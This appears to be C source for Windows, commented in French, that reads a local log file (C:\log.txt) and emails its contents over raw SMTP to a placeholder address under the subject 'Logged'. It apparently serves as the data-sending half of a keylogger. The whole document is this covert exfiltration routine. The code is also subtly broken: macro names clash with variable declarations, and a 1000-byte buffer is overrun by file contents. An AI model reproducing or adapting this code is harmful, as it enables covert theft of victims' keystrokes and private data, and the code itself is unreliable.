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#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
char mailserver;
char mailto;
char mailfrom;
char mailsubject;
#define mailserver "ton.serveur.smtp"
#define mailto "adresse@mail.destinataire"
#define mailfrom "adresse@mail.delenvoyeur"
#define mailsubject "Logged"
#define BUFSIZE 800
#define waittime 500
// Attention !!! Il ne faut pas qu'il y ait des points dans le fichier texte, sinon ça signifie que c'est la fin du mail !!!
int main () {
# define TAILLE_MAX 100000
SOCKET sockfd;
WSADATA wsaData;
FILE* fichier = NULL;
char mailline[TAILLE_MAX] = "";
#define bufsize 10000
int bytes_sent; /* Sock FD */
int err;
struct hostent *host; /* info from gethostbyname */
struct sockaddr_in dest_addr; /* Host Address */
char line[1000];
char *Rec_Buf = (char*) malloc(bufsize+1);
fichier = fopen("C:\\log.txt", "r");
if (fichier != NULL)
{
if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
WSACleanup();
return -1;
}
if ( (host=gethostbyname(mailserver)) == NULL) {
perror("gethostbyname");
exit(1);
}
memset(&dest_addr,0,sizeof(dest_addr));
memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
/* Prepare dest_addr */
dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
dest_addr.sin_port= htons(25); /* PORT defined above */
/* Get socket */
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
perror("socket");
exit(1);
}
/* Connect !*/
if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
perror("connect");
exit(1);
}
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
strcpy(line,"helo me.somepalace.com\n");
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
strcpy(line,"MAIL FROM:<");
strncat(line,mailfrom,strlen(mailfrom));
strncat(line,">\n",3);
bytes_sent=send(sockfd,line,strlen(line),0);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
strcpy(line,"RCPT TO:<");
strncat(line,mailto,strlen(mailto));
strncat(line,">\n",3);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
strcpy(line,"DATA\n");
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
sleep(waittime);
strcpy(line,"To:");
strcat(line,mailto);
strcat(line,"\n");
strcat(line,"From:");
strcat(line,mailfrom);
strcat(line,"\n");
strcat(line,"Subject:");
strcat(line,mailsubject);
strcat(line,"\n");
while (fgets(mailline, TAILLE_MAX, fichier) != NULL) // On lit le fichier tant qu'on ne reçoit pas d'erreur (NULL)
{
strcat(line,mailline);
printf("%s", mailline); // On affiche la chaîne qu'on vient de lire
}
fclose(fichier); // On ferme le fichier qui a été ouvert
strcat(line,"\r\n.\r\n"); // . du fin du mail !
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
strcpy(line,"quit\n");
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
#ifdef WIN32
closesocket(sockfd);
WSACleanup();
#else
close(sockfd);
#endif
_sleep(3000);
}
else
{
// On affiche un message d'erreur si on veut
}
} |
